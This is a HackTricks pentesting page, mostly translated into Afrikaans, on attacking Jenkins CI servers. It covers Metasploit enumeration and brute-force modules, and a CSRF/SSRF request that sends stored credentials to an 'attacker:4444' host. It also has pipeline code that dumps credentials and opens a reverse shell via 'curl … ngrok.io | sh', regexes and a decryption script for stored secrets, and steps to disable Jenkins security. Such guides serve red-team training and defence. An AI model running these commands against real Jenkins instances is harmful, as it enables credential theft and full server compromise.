Jenkins Sekuriteit

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

Jenkins is ’n hulpmiddel wat ’n eenvoudige metode bied om ’n continuous integration of continuous delivery (CI/CD) omgewing op te stel vir byna any kombinasie van programming languages en source code repositories wat pipelines gebruik. Verder outomatiseer dit verskeie roetine-ontwikkelingstake. Al maak Jenkins nie die need to create scripts for individual steps oorbodig nie, bied dit wel ’n vinniger en meer robuuste manier om die hele volgorde van build, test, and deployment tools te integreer as wat mens maklik handmatig kan bou.

Basic Jenkins Information

Onautentiseerde Enumerasie

Om na interessante Jenkins-bladsye sonder outentisering te soek, soos (/people of /asynchPeople — dit lys die huidige gebruikers), kan jy gebruik:

msf> use auxiliary/scanner/http/jenkins_enum

Kontroleer of jy commands kan execute sonder authentication:

msf> use auxiliary/scanner/http/jenkins_command

Sonder credentials kan jy in die pad /asynchPeople/ of /securityRealm/user/admin/search/index?q= kyk vir usernames.

You may be able to get the Jenkins version from the path /oops or /error

Bekende Kwesbaarhede

GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins servers \xc2\xb7 GitHub

Login

In die basiese inligting kan jy alle maniere om in te login in Jenkins nagaan:

Basic Jenkins Information

Registreer

Jy sal Jenkins-instanse vind wat jou toelaat om ’n account te skep en daarin te login. So eenvoudig.

SSO Login

As SSO functionality/plugins teenwoordig was, moet jy probeer om in die toepassing te log-in met ’n toetsaccount (bv. ’n toets Github/Bitbucket account). Truuk vanaf here.

Bruteforce

Jenkins het nie ’n password policy en username brute-force mitigation nie. Dit is noodsaaklik om gebruikers te brute-force, aangesien weak passwords of usernames as passwords gebruik kan word, selfs reversed usernames as passwords.

msf> use auxiliary/scanner/http/jenkins_login

Password spraying

Gebruik this python script of this powershell script.

IP Whitelisting Bypass

Baie organisasies kombineer SaaS-based source control management (SCM) systems soos GitHub of GitLab met ’n internal, self-hosted CI oplossing soos Jenkins of TeamCity. Hierdie opstelling laat CI-stelsels toe om receive webhook events from SaaS source control vendors, hoofsaaklik om pipeline jobs te trigger.

Om dit te bewerkstellig, plaas organisasies die IP ranges van die SCM platforms op ’n whitelist, wat hulle toelaat om toegang tot die internal CI system via webhooks te kry. Dit is egter belangrik om daarop te let dat anyone ’n account op GitHub of GitLab kan skep en dit kan konfigureer om ’n trigger a webhook, wat moontlik versoeke na die internal CI system kan stuur.

Kyk: https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/

Interne Jenkins-misbruik

In hierdie scenario’s gaan ons aanvaar dat jy ’n geldige rekening het om toegang tot Jenkins te kry.

Warning

Afhangend van die Authorization-meganisme wat in Jenkins gekonfigureer is en van die toestemming(e) van die gekompromitteerde gebruiker, mag jy wel of nie in staat wees om die volgende aanvalle uit te voer nie.

For more information check the basic information:

Basic Jenkins Information

Gebruikerslys

As jy toegang tot Jenkins het, kan jy ander geregistreerde gebruikers lys by http://127.0.0.1:8080/asynchPeople/

Dumping builds to find cleartext secrets

Gebruik this script om build console outputs en build environment variables te dump om hopelik cleartext secrets te vind.

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)

Sommige plugins openbaar Jelly validateButton of test connection handlers onder paaie soos /descriptorByName/<Class>/testConnection. Wanneer handlers nie POST of permission checks afdwing nie, kan jy:

  • Wissel POST na GET en laat die Crumb val om CSRF checks te omseil.
  • Trigger die handler as low-priv/anonymous indien geen Jenkins.ADMINISTER check bestaan nie.
  • CSRF ’n admin en vervang die host/URL-parameter om credentials te exfiltrate of uitgaande oproepe te trigger.
  • Gebruik die responsfoute (bv. ConnectException) as ’n SSRF/port-scan oracle.

Example GET (no Crumb) turning a validation call into SSRF/credential exfiltration:

GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
Host: jenkins.local:8080

As die plugin stored creds hergebruik, Jenkins sal probeer om na attacker:4444 te autentiseer en kan identifiers of foutboodskappe in die respons leak. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/

Diefstal van SSH Credentials

As die gekompromitteerde gebruiker genoeg voorregte het om ’n nuwe Jenkins node te skep/wysig en SSH credentials reeds gestoor is om ander nodes te bereik, kan hy daardie credentials steel deur ’n node te skep/wysig en ’n host op te stel wat die credentials sal registreer sonder om die host key te verifieer:

Jy sal gewoonlik Jenkins ssh credentials in ’n global provider (/credentials/) vind, so jy kan hulle ook dump soos jy enige ander geheim sou dump. More information in the Dumping secrets section.

RCE in Jenkins

Om ’n shell in die Jenkins server te kry gee die attacker die geleentheid om alle secrets en env variables te leak en om ander masjiene in dieselfde netwerk te exploit of selfs cloud credentials te gather.

By default, Jenkins sal run as SYSTEM. Dus, om dit te kompromitteer sal die attacker SYSTEM privileges gee.

RCE Creating/Modifying a project

Creating/Modifying a project is ’n manier om RCE oor die Jenkins-server te verkry:

Jenkins RCE Creating/Modifying Project

RCE Execute Groovy script

Jy kan ook RCE verkry deur ’n Groovy script uit te voer, wat dalk minder opvallend is as om ’n nuwe project te skep:

Jenkins RCE with Groovy Script

RCE Creating/Modifying Pipeline

Jy kan ook RCE kry deur ’n pipeline te skep/wysig:

Jenkins RCE Creating/Modifying Pipeline

Pipeline Exploitation

Om pipelines te exploiteer het jy steeds toegang tot Jenkins nodig.

Build Pipelines

Pipelines kan ook gebruik word as die build-meganisme in projects, in daardie geval kan ’n lêer binne die repository geconfigureer word wat die pipeline-sintaks sal bevat. By default /Jenkinsfile is used:

Dit is ook moontlik om pipeline configuration files in other places te store (byvoorbeeld in ander repositories) met die doel om die repository-toegang en die pipeline-toegang te skei.

As ’n attacker write access oor daardie file het, sal hy dit kan modify en moontlik die pipeline trigger sonder om selfs toegang tot Jenkins te hê. Dit is moontlik dat die attacker sommige branch protections moet bypass (afhangend van die platform en gebruikersvoorregte kan dit wel of nie gebypass word nie).

Die mees algemene triggers om ’n custom pipeline uit te voer is:

  • Pull request to the main branch (or potentially to other branches)
  • Push to the main branch (or potentially to other branches)
  • Update the main branch and wait until it’s executed somehow

Note

As jy ’n external user is, moet jy nie verwag om ’n PR to the main branch van die repo van other user/organization te skep en die pipeline te trigger nie… maar as dit bad configured is kan jy full compromise companies net deur dit te exploit.

Pipeline RCE

In die vorige RCE afdeling is reeds ’n tegniek aangedui om get RCE modifying a pipeline.

Checking Env variables

Dit is moontlik om clear text env variables te declare vir die hele pipeline of vir spesifieke stages. Hierdie env variables shouldn’t contain sensitive info, maar ’n attacker kan altyd al die pipeline konfigurasies/Jenkinsfiles check:

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Dumping secrets

Vir inligting oor hoe secrets gewoonlik deur Jenkins hanteer word, sien die basiese inligting:

Basic Jenkins Information

Credentials kan scoped to global providers (/credentials/) of na specific projects (/job/<project-name>/configure) wees. Daarom, om hulle almal te exfiltrate moet jy compromise at least all the projects wat secrets bevat en custom/poisoned pipelines uitvoer.

Daar is nog ’n probleem: om ’n secret inside the env van ’n pipeline te kry, moet jy know the name and type of the secret. Byvoorbeeld, as jy probeer lo load ’n usernamePassword secret as ’n string secret sal jy hierdie error kry:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

Hier is hoe jy ’n paar algemene secret types kan laai:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

Aan die einde van hierdie bladsy kan jy al die credential types vind: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

Warning

Die beste manier om dump all the secrets at once is deur die compromising van die Jenkins machine (running a reverse shell in the built-in node for example) en dan die leaking van die master keys en die encrypted secrets en om dit offline te decrypt.
Meer oor hoe om dit te doen in die Nodes & Agents section en in die Post Exploitation section.

Triggers

From the docs: Die triggers directive definieer die geoutomatiseerde maniere waarop die Pipeline her-getrigger moet word. Vir Pipelines wat met ’n bron soos GitHub of BitBucket geïntegreer is, mag triggers nie nodig wees nie aangesien webhooks-based integrasie waarskynlik reeds teenwoordig is. Die triggers wat tans beskikbaar is: cron, pollSCM en upstream.

Cron voorbeeld:

triggers { cron('H */4 * * 1-5') }

Kyk na ander voorbeelde in die dokumentasie.

Nodes & Agents

’n Jenkins instance kan moontlik verskillende agents op verskillende masjiene laat loop. Van ’n aanvaller se perspektief beteken toegang tot verskillende masjiene verskillende potensiële cloud credentials om te steel of verskillende netwerktoegang wat misbruik kan word om ander masjiene te eksploiteer.

For more information check the basic information:

Basic Jenkins Information

Jy kan die gekonfigureerde nodes in /computer/ opnoem, jy sal gewoonlik die **Built-In Node ** (wat die node is wat Jenkins laat loop) en moontlik meer vind:

Dit is spesifiek interessant om die Built-In node te kompromitteer omdat dit sensitiewe Jenkins-inligting bevat.

Om aan te dui dat jy die pipeline in die built-in Jenkins node wil uitvoer, kan jy binne die pipeline die volgende konfigurasie spesifiseer:

pipeline {
agent {label 'built-in'}

Volledige voorbeeld

Pipeline in ’n spesifieke agent, met ’n cron trigger, met pipeline- en stage env veranderlikes, laai 2 veranderlikes in ’n step en stuur ’n reverse shell:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

Arbitrary File Read na RCE

Jenkins Arbitrary File Read to RCE via “Remember Me”

RCE

Jenkins RCE with Groovy Script

Jenkins RCE Creating/Modifying Project

Jenkins RCE Creating/Modifying Pipeline

Post Exploitation

Metasploit

msf> post/multi/gather/jenkins_gather

Jenkins Secrets

Jy kan die secrets lys deur toegang tot /credentials/ te kry as jy genoeg toestemmings het. Let wel dat dit slegs die secrets in die credentials.xml-lêer sal lys, maar build configuration files kan ook meer credentials hê.

As jy die konfigurasie van elke projek kan sien, kan jy daar ook die name van die credentials (secrets) sien wat gebruik word om toegang tot die repository te kry en ander credentials van die projek.

Van Groovy

Jenkins Dumping Secrets from Groovy

Van skyf

Hierdie lêers word benodig om Jenkins secrets te ontsleutel:

  • secrets/master.key
  • secrets/hudson.util.Secret

Sulke secrets word gewoonlik gevind in:

  • credentials.xml
  • jobs/…/build.xml
  • jobs/…/config.xml

Hier is ’n regex om hulle te vind:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Ontsleutel Jenkins secrets aflyn

As jy die benodigde wagwoorde om die secrets te ontsleutel gedump het, gebruik this script om daardie secrets te ontsleutel.

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Ontsleutel Jenkins secrets van Groovy

println(hudson.util.Secret.decrypt("{...}"))

Skep nuwe admin-gebruiker

  1. Kry toegang tot die Jenkins config.xml-lêer by /var/lib/jenkins/config.xml of C:\Program Files (x86)\Jenkis\
  2. Soek na die woord <useSecurity>true</useSecurity> en verander die woord **true ** na false.
  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml
  4. Herbegin die Jenkins bediener: service jenkins restart
  5. Gaan nou weer na die Jenkins-portaal en Jenkins will not ask any credentials hierdie keer. Jy navigeer na “Manage Jenkins” om die administrateur-wagwoord weer te stel.
  6. Skakel die security weer aan deur die instellings te verander na <useSecurity>true</useSecurity> en herbegin die Jenkins weer.

Verwysings

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks